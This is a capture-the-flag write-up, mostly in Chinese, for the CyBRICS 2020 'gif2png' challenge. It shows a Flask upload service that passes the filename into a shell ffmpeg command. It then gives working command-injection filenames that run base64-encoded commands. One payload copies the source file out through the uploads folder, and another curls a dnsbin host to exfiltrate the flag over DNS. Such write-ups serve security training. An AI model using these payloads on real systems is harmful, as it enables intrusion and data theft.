gif2png Environment:(https://github.com/iloveflag/CTF_Training_Warehouse/CyBRICS2020/gif2png )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import loggingimport reimport subprocessimport uuidfrom pathlib import Pathfrom flask import Flask, render_template, request, redirect, url_for, flash, send_from_directoryfrom flask_bootstrap import Bootstrapimport osfrom werkzeug.utils import secure_filenameimport filetypeALLOWED_EXTENSIONS = {'gif' } app = Flask(__name__) app.config['UPLOAD_FOLDER' ] = './uploads' app.config['SECRET_KEY' ] = '********************************' app.config['MAX_CONTENT_LENGTH' ] = 500 * 1024 ffLaG = "cybrics{********************************}" Bootstrap(app) logging.getLogger().setLevel(logging.DEBUG) def allowed_file (filename) : return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def upload_file () : logging.debug(request.headers) if request.method == 'POST' : if 'file' not in request.files: logging.debug('No file part' ) flash('No file part' , 'danger' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : logging.debug('No selected file' ) flash('No selected file' , 'danger' ) return redirect(request.url) if not allowed_file(file.filename): logging.debug(f'Invalid file extension of file: {file.filename} ' ) flash('Invalid file extension' , 'danger' ) return redirect(request.url) if file.content_type != "image/gif" : logging.debug(f'Invalid Content type: {file.content_type} ' ) flash('Content type is not "image/gif"' , 'danger' ) return redirect(request.url) if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$" , file.filename)) or ".." in file.filename: logging.debug(f'Invalid symbols in filename: {file.content_type} ' ) flash('Invalid filename' , 'danger' ) return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], file.filename)) mime_type = filetype.guess_mime(f'uploads/{file.filename} ' ) if mime_type != "image/gif" : logging.debug(f'Invalid Mime type: {mime_type} ' ) flash('Mime type is not "image/gif"' , 'danger' ) return redirect(request.url) uid = str(uuid.uuid4()) os.mkdir(f"uploads/{uid} " ) logging.debug(f"Created: {uid} . Command: ffmpeg -i 'uploads/{file.filename} ' \"uploads/{uid} /%03d.png\"" ) command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename} ' \"uploads/{uid} /%03d.png\"" , shell=True ) command.wait(timeout=15 ) logging.debug(command.stdout) flash('Successfully saved' , 'success' ) return redirect(url_for('result' , uid=uid)) return render_template("form.html" ) @app.route('/result/<uid>/') def result (uid) : images = [] for image in os.listdir(f"uploads/{uid} " ): mime_type = filetype.guess(str(Path("uploads" ) / uid / image)) if image.endswith(".png" ) and mime_type is not None and mime_type.EXTENSION == "png" : images.append(image) return render_template("result.html" , uid=uid, images=images) @app.route('/uploads/<uid>/<image>') def image (uid, image) : logging.debug(request.headers) dir = str(Path(app.config['UPLOAD_FOLDER' ]) / uid) return send_from_directory(dir, image) @app.errorhandler(413) def request_entity_too_large (error) : return "File is too large" , 413 if __name__ == "__main__" : app.run(host='localhost' , port=5000 , debug=False , threaded=True )
定位到这一行1 command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename} ' \"uploads/{uid} /%03d.png\"" , shell=True )
可知这是一道命令执行题
先将上传的gif图像保存在uploads下,利用ffmpeg命令将gif分解到对应的uid文件夹下,此时uid为06d62ee7-1b99-4a4c-9397-a601f5565bd7
则此时{file.filename} 文件名可控造成漏洞1 2 3 4 if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$" , file.filename)) or ".." in file.filename: logging.debug(f'Invalid symbols in filename: {file.content_type} ' ) flash('Invalid filename' , 'danger' ) return redirect(request.url)
1 2 3 MALICIOUS_NAME'||MALICIOUS SYTEM COMMAND HERE||' ffmpeg -i 'uploads/MALICIOUS_NAME'||MALICIOUS SYTEM COMMAND HERE||' "uploads/{uid}/%03d.png\"
且要绕过正则,采用base64的方法绕过 将main.py复制到uid目录下 payload为1 cp main.py uploads/06d62ee7-1b99-4a4c-9397-a601f5565bd7/flag.png
base64后:1 Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==
执行语句为:1 echo Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==|base64 -d|sh
则拼接后的payload为:1 test'||echo Y3AgbWFpbi5weSB1cGxvYWRzLzA2ZDYyZWU3LTFiOTktNGE0Yy05Mzk3LWE2MDFmNTU2NWJkNy9mbGFnLnBuZw==|base64 -d|sh||'.gif
随后访问http://192.168.10.128:5000/uploads/06d62ee7-1b99-4a4c-9397-a601f5565bd7/flag.png
二进制打开看到源码及flag
有很多writeup写着反弹shell因为防火墙原因无法回弹,采用dnsbin的方法收flag (https://nullarmor.github.io/posts/cybrics-gif2png )
1 flag=$(cat main.py|grep -wo cybrics{.*|base64|tr -d '=');curl $flag.970786bab153cc7ab999.d.zhack.ca
tip:dnsbin不会接收太多数据,所以要先正则过滤一下 base641 ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy45NzA3ODZiYWIxNTNjYzdhYjk5OS5kLnpoYWNrLmNh
payload:1 test'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy45NzA3ODZiYWIxNTNjYzdhYjk5OS5kLnpoYWNrLmNh|base64 -d|sh||'.gif
但是dnsbin并不区分大小写,base64可能卡住 还有一些写入本地图片的操作(https://ctftime.org/task/12512 )